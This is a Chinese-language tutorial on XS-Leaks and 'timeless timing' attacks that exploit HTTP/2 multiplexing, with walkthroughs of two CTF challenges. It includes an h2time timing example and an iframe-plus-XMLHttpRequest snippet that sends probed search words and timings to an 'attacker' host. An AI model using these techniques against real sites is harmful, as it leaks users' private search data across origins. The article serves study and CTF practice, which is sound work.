浅谈XS-Leaks之Timeless timing attck
字数 1736 2025-08-29 08:32:30
浅谈XS-Leaks之Timeless Timing Attack
1. XS-Leaks简介
1.1 什么是XS-Leaks?
Cross-site leaks(又名XS-Leaks、XSLeaks)是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则,允许网站相互交互,并滥用合法机制来推断用户信息。
1.2 XS-Leaks和CSRF的区别
- CSRF:让受害者执行某些操作
- XS-Leaks:探测用户敏感信息
1.3 XS-Leaks的利用原理和使用条件
原理:利用网站交互过程中暴露的小块信息,使用Web上可用的侧信道探测用户敏感信息。
典型场景:
- 网站存在模糊查找功能(前缀匹配返回结果)
- 页面有XSS漏洞
- 不同用户查询结果集不同
- CORS配置正确阻止直接获取响应
侧信道来源:
- 浏览器API(如Frame Counting和Timing Attacks)
- 浏览器实现细节和bugs(如Connection Pooling和typeMustMatch)
- 硬件bugs(如Speculative Execution Attacks)
利用条件:
- 网页具有模糊查找功能
- 可构成二元结果(成功/失败)
- 二元结果差异可通过侧信道技术探测
2. 网络计时攻击
2.1 传统计时攻击
原理:
- 发送两个请求:
- 查询不可能存在的字符
- 查询需要确认是否存在的字符
- 通过时间差异判断字符是否存在
局限性:
- 受网络因素影响大
- 高延迟导致攻击效果差
- 需要大量测试请求(成百上千次)
- 受害者需持续访问攻击网站
2.2 Timeless Timing攻击
2.2.1 原理
核心思想:
- 不测量绝对时间,而是比较两个请求的返回顺序
- 通过并发请求避免网络抖动影响
实现方式:
- 多路复用:利用HTTP/2并发流机制使请求同时发送到达
- 报文封装:使用可封装多个数据流的协议(如HTTP/1.1 over Tor/VPN)
判断标准:
- 无延迟时:两个报文返回顺序概率各50%
- 有延迟时:延迟报文先返回概率明显<50%
2.2.2 优点
- 不受网络抖动和不确定延迟影响
- 远程攻击性能与本地攻击相当
- 所需请求数量远少于传统方法
3. 实践应用
3.1 基础示例
使用h2time库实现:
from h2time import H2Time, H2Request
import asyncio
async def run_two_gets():
r1 = H2Request('GET', 'https://example.com/?1')
r2 = H2Request('GET', 'https://example.com/?2')
async with H2Time(r1, r2, num_request_pairs=5) as h2t:
results = await h2t.run_attack()
# 分析结果...
loop = asyncio.get_event_loop()
loop.run_until_complete(run_two_gets())
3.2 [WCTF 2020]Spaceless Spacing
考点:HTTP/2多路复用
HTTP版本对比:
| 版本 | 传输方式 | 效果 |
|---|---|---|
| HTTP1.0 | 原始方式 | 一个TCP只有一个请求和响应 |
| HTTP1.1 | keepalive | 复用TCP,顺序执行 |
| HTTP1.1 | pipeline | 同时发送多个请求,顺序响应 |
| HTTP2.0 | Multiplexing | 并发处理,乱序返回 |
3.3 [TQLCTF 2022]A More Secure Pastebin
考点:
- XS-Leaks + Timeless Timing
- HTTP/2 Concurrent Stream
- TCP拥塞控制
解题步骤:
- 提交包含恶意JS的页面链接
- JS执行:
- POST过大body阻塞TCP信道
- 发送两个fetch请求探测字符串
- 利用TCP Nagle算法使请求放入同一TCP报文
- 使用Promise.all检测返回顺序
- 重复多次统计概率
- 根据结果频率判断字符
关键代码:
<script>
const start = Date.now();
abc = () => {
const end = Date.now();
new XMLHttpRequest().open('get',`http://attacker/result?word={{word}}&ms=${end-start}`,true).send();
}
</script>
<iframe src="https://target/admin/search?word={{word}}" onload="abc()"></iframe>
4. 总结与拓展
4.1 总结
- Timeless timing攻击不受网络抖动影响
- 远程攻击性能与本地相当
- 适用于多路复用协议或封装传输协议
- 所有标准协议都可能受影响
4.2 HTTP/1.1下的应用
利用pipeline特性:
- 强制顺序响应
- 单线程顺序处理
- 通过放大时间差(如发送1000个相同请求)使微小差异变得可测
限制因素:
- 服务器中间件配置(如Apache默认最大100个pipeline请求)
- 无限制时可无限放大时间差